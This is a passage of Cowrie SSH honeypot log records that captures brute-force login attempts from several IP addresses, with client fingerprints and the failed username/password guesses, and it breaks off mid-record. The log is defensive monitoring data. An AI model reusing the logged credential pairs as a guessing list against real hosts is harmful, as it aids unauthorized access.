{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58128,"dst_ip":"159.203.135.109","dst_port":22,"session":"6187faa4ba33","protocol":"ssh","message":"New connection: 80.94.92.184:58128 (159.203.135.109:22) [session: 6187faa4ba33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:24.657852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:25.005534Z","src_ip":"80.94.92.184","session":"6187faa4ba33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:25.009391Z","src_ip":"80.94.92.184","session":"6187faa4ba33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33116,"dst_ip":"10.17.0.5","dst_port":22,"session":"9619270d93d8","protocol":"ssh","message":"New connection: 45.156.87.147:33116 (10.17.0.5:22) [session: 9619270d93d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:26.281552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:26.284959Z","src_ip":"45.156.87.147","session":"9619270d93d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:26.365993Z","src_ip":"45.156.87.147","session":"9619270d93d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:26.616218Z","src_ip":"45.156.87.147","session":"9619270d93d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":46262,"dst_ip":"159.203.135.109","dst_port":22,"session":"960d96d6a1be","protocol":"ssh","message":"New connection: 103.82.20.28:46262 (159.203.135.109:22) [session: 960d96d6a1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:27.654687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:27.659328Z","src_ip":"103.82.20.28","session":"960d96d6a1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:27.700192Z","src_ip":"45.156.87.147","session":"9619270d93d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:27.919717Z","src_ip":"103.82.20.28","session":"960d96d6a1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:28.266362Z","src_ip":"80.94.92.184","session":"6187faa4ba33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260991","message":"login attempt [root/260991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:28.700575Z","src_ip":"103.82.20.28","session":"960d96d6a1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:29.757137Z","src_ip":"80.94.92.184","session":"6187faa4ba33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:29.962503Z","src_ip":"103.82.20.28","session":"960d96d6a1be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49538,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9f134030a8","protocol":"ssh","message":"New connection: 45.156.87.147:49538 (10.17.0.5:22) [session: 2c9f134030a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:32.173587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:32.177758Z","src_ip":"45.156.87.147","session":"2c9f134030a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:32.258426Z","src_ip":"45.156.87.147","session":"2c9f134030a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:32.639308Z","src_ip":"45.156.87.147","session":"2c9f134030a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:33.725823Z","src_ip":"45.156.87.147","session":"2c9f134030a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49550,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9bcce0d97f","protocol":"ssh","message":"New connection: 45.156.87.147:49550 (10.17.0.5:22) [session: cb9bcce0d97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:38.452016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:38.456421Z","src_ip":"45.156.87.147","session":"cb9bcce0d97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:38.538497Z","src_ip":"45.156.87.147","session":"cb9bcce0d97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:38.794728Z","src_ip":"45.156.87.147","session":"cb9bcce0d97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:39.890031Z","src_ip":"45.156.87.147","session":"cb9bcce0d97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37726,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3124c5687a8","protocol":"ssh","message":"New connection: 45.156.87.147:37726 (10.17.0.5:22) [session: c3124c5687a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:44.815337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:44.823690Z","src_ip":"45.156.87.147","session":"c3124c5687a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:44.902098Z","src_ip":"45.156.87.147","session":"c3124c5687a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:45.485441Z","src_ip":"45.156.87.147","session":"c3124c5687a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:46.570412Z","src_ip":"45.156.87.147","session":"c3124c5687a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48010,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fcfd892605","protocol":"ssh","message":"New connection: 45.156.87.147:48010 (10.17.0.5:22) [session: 69fcfd892605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:50.969815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:50.973751Z","src_ip":"45.156.87.147","session":"69fcfd892605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:51.057973Z","src_ip":"45.156.87.147","session":"69fcfd892605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:51.306493Z","src_ip":"45.156.87.147","session":"69fcfd892605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:52.393630Z","src_ip":"45.156.87.147","session":"69fcfd892605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":33122,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1e9d311ee4","protocol":"ssh","message":"New connection: 103.149.28.157:33122 (10.17.0.5:22) [session: 3e1e9d311ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:53.264743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:53.267726Z","src_ip":"103.149.28.157","session":"3e1e9d311ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:53.511807Z","src_ip":"103.149.28.157","session":"3e1e9d311ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220481","message":"login attempt [root/220481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:54.265279Z","src_ip":"103.149.28.157","session":"3e1e9d311ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:55.512944Z","src_ip":"103.149.28.157","session":"3e1e9d311ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48030,"dst_ip":"10.17.0.5","dst_port":22,"session":"30be4df3dd07","protocol":"ssh","message":"New connection: 45.156.87.147:48030 (10.17.0.5:22) [session: 30be4df3dd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:57.003427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:57.007390Z","src_ip":"45.156.87.147","session":"30be4df3dd07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa